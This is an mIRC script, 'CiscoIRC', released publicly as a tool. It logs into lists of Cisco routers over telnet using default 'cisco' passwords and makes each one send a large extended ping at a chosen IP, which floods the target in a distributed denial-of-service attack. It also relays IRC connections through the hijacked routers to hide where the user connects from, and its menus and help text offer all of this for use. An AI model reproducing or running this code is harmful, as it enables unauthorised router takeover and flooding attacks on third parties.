[script]
n0=;CiscoIRC by ryballs [Public Release]
n1=alias cisco { inc %cisco.open | sockopen cisco [ $+ [ %cisco.open ] ] $1 23 }
n2=alias cisco-clr { set %cisco.open 0 | sockclose cisco* | set %cisco.nuke.notice on }
n3=alias cim { inc %cim.open | sockopen cim $1 23 }
n4=alias cim-clr { set %cim.open 0 | sockclose cim | set %cim.notice on }
n5=alias usr { inc %usr.open | sockopen usr $1 23 }
n6=alias usr-clr { set %usr.open 0 | sockclose usr | set %usr.notice on }
n7=
n8=on 1:sockopen:cisco*:{
n9=  .timer 1 1 sockwrite -n $sockname %circ.pass
n10=  .timer 1 1 sockwrite -n $sockname enable
n11=  .timer 1 1 sockwrite -n $sockname %circ.enable
n12=  .timer 1 1 sockwrite -n $sockname ping
n13=  .timer 1 1 sockwrite -n $sockname ip
n14=  .timer 1 1 sockwrite -n $sockname %circ.newkip
n15=  .timer 1 1 sockwrite -n $sockname %circ.ping
n16=  .timer 1 1 sockwrite -n $sockname 18024
n17=  .timer 1 1 sockwrite -n $sockname 0
n18=  .timer 1 1 sockwrite -n $sockname n
n19=  .timer 1 1 sockwrite -n $sockname n
n20=}
n21=on 1:sockopen:cim*:{
n22=  .timer 1 1 sockwrite -n $sockname %circ.pass
n23=  .timer 1 1 sockwrite -n $sockname enable
n24=  .timer 1 1 sockwrite -n $sockname %circ.enable
n25=  .timer 1 1 sockwrite -n $sockname send vty %circ.vty
n26=  .timer 1 1 sockwrite -n $sockname %circ.msg
n27=  .timer 1 1 sockwrite -n $sockname $chr(26)
n28=  .timer 1 1 sockwrite -n $sockname exit
n29=  .timer 1 10 echo -a Cisco Instant Message sent to vty %circ.vty $+ 
n30=  .timer 1 15 cimcls
n31=
n32=}
n33=on 1:sockopen:usr*:{
n34=  .timer 1 1 sockwrite -n $sockname %circ.pass
n35=  .timer 1 1 sockwrite -n $sockname enable
n36=  .timer 1 1 sockwrite -n $sockname %circ.enable
n37=  .timer 1 1 sockwrite -n $sockname show users
n38=}
n39=on *:sockread:cim*:{
n40=  if ($sockerr > 0) return
n41=  sockread %cim
n42=  if ($window(@cim,1) == $null) { cim-w | goto next }
n43=  :next
n44=  if (%cim != $null) { echo 3 @cim %cim }
n45=  else { halt }
n46=}
n47=on *:sockread:usr*:{
n48=  if ($sockerr > 0) return
n49=  sockread %usr
n50=  if ($window(@cim,1) == $null) { cim-w | goto next }
n51=  :next
n52=  if (%usr != $null) { echo 3 @cim %usr }
n53=  else { halt }
n54=}
n55=
n56=alias cim-w { window -naek0 @cim /cimcls Verdana 12 }
n57=alias cimcls {  
n58=  cim-clr 
n59=  usr-clr
n60=  close -@cim
n61=}
n62=on *:sockread:cisco*:{
n63=  if ($sockerr > 0) return
n64=  sockread %cisco
n65=  if ($window(@cisco,1) == $null) { cisco-w | goto next }
n66=  :next
n67=  if (icmp isin %cisco) { echo 3 @cisco $sock($sockname).ip - %cisco }
n68=  else { halt }
n69=}
n70=alias cisco-w { window -naek0 @Cisco /stopnewk Verdana 12 }
n71=on 1:close:@:{
n72=  if ($target == @cim) {
n73=    echo -s Message Sent.
n74=  }
n75=}
n76=menu status {
n77=  -
n78=  [-[[CiscoIRC]-]]
n79=  [Flooding Tool]
n80=  .IP to Flood -> [ %circ.newkip ]:set %circ.newkip $$?="Enter IP to flood" | echo -s Now click on Start Flooding to begin flooding %circ.newkip $+ . 
n81=  .[ %circ.session ] Connections to each Router:set %circ.session $$?="Enter Number of Connections to each Router"
n82=  .Number of Pings-> [ %circ.ping ]: set %circ.ping $$?="Enter Number of Times to Ping Target"
n83=  .-
n84=  .[Start Flooding] :timer %circ.session 1 newk | echo -a Started Flooding %circ.newkip $+ .
n85=  .Stop Flooding :stopnewk 
n86=  [Bounce to IRC] :rirc
n87=  Global Passwords
n88=  .VTY Pass-> [ %circ.pass ]:set %circ.pass $$?="Enter Router VTY Password" 
n89=  .Enable Pass-> [ %circ.enable ]:set %circ.enable $$?="Enter Router Enable Password" 
n90=  IRC Settings 
n91=  .IRC Nickname-> [ %circ.nick ]:set %circ.nick $$?="Enter IRC Nickname"  
n92=  .IRC Server IP-> [ %circ.serv ]:set %circ.serv $$?="Enter IP of IRC Server"
n93=  .IRC Ident-> [ %circ.ident ]:set %circ.ident $$?="Enter IRC Ident"  
n94=  .IRC Username-> [ %circ.name ]:set %circ.name $$?="Enter IRC Username"  
n95=  .- 
n96=  .Router IP-> [ %circ.rout ]:set %circ.rout $$?="Enter IP of Router"
n97=  .Router Lag-> [ %circ.lag ] sec:set %circ.lag $$?="Enter Wait for Connection Time (sec)"
n98=  [CiscoIM]
n99=  .CIM Router IP-> [ %circ.cim ]:set %circ.cim $$?="Enter IP of Shared Router"
n100=  .Show Users (VTYs):cimcls | usr %circ.rout | echo -s Now click Send to -> and enter the vty number (the number after vty before the Reciever IP).
n101=  .-
n102=  .Send to -> [ vty %circ.vty ]: set %circ.vty $$?="Enter vty of Message Reciever"
n103=  .[Send Message] :set %circ.msg $$?="Enter Message" | cimcls | cim %circ.rout
n104=
n105=}
n106=alias rirc {
n107=  server %circ.rout 23
n108=  timer 1 %circ.lag routerirc
n109=}
n110=alias routerirc {
n111=  raw %circ.pass
n112=  raw conn %circ.serv %circ.port
n113=  raw user %circ.ident circ circ %circ.name
n114=  raw nick %circ.nick
n115=}
n116=alias newk { 
n117=  set %circ.read 1
n118=  :start
n119=  if ($read(cisco.txt,%circ.read) != $null) {
n120=    cisco $read(cisco.txt,%circ.read)
n121=    inc %circ.read 1
n122=    goto start
n123=  }
n124=  else halt
n125=}
n126=
n127=alias stopnewk {
n128=  cisco-clr 
n129=  echo 3 -s Stopped Flooding %circ.newkip
n130=  close -@cisco
n131=}
n132=on 1:load:{ 
n133=  chelp
n134=}
n135=alias chelp { 
n136=  echo -a  
n137=  echo -a CiscoIRC [Public Release]
n138=  echo -a by ryballs
n139=  echo -a Please read these instructions on how to use CiscoIRC
n140=  echo -a 
n141=  echo -a Right click in your Status window for CiscoIRC tools.
n142=  echo -a 
n143=  echo -a To use the Flooding tool: create a text file called cisco.txt containing a list of the routers IPs (one per line) in your root mIRC directory (ie. C:\Program Files\mIRC). 
n144=  echo -a (Note when using the Bounce to IRC function: you may need to secure your Cisco using an Access-list if the IRC server scans for an open port 23. 
n145=  echo -a 
n146=  echo -a The Cisco Instant Messager allows the sending of messages to other users on the router without going through an IRC Server. You can read incoming messages in your status window.
n147=  echo -a Note: These routers must all have the same vty and enable passwords as set under Global Passwords. 
n148=  echo -a 
n149=  echo -a Type /defaults now if its your first time running CIRC to load the default variables.
n150=  echo -a If you want to see this help again type /chelp
n151=  echo -a 
n152=}
n153=alias defaults {
n154=  echo -a Loading Defaults...
n155=  set %circ.pass cisco
n156=  set %circ.enable cisco
n157=  set %circ.rout Set_This_IP
n158=  set %circ.newkip 0.0.0.0
n159=  set %circ.session 6
n160=  set %circ.serv 69.60.121.72
n161=  set %circ.port 6667
n162=  set %circ.nick CIRCr0x
n163=  set %circ.ident circ
n164=  set %circ.name circ
n165=  set %circ.ping 10000
n166=  set %circ.lag 5
n167=  set %circ.cim Set_This_IP
n168=  set %circ.vty 0
n169=  echo -a Defaults Successfully Loaded.
n170=}
n171=menu nicklist {
n172=  DNS (IP):dns $$1
n173=}
n174=raw *:*message*tty*:echo -a Cisco Instant Message Recieved. Please check your Status Window.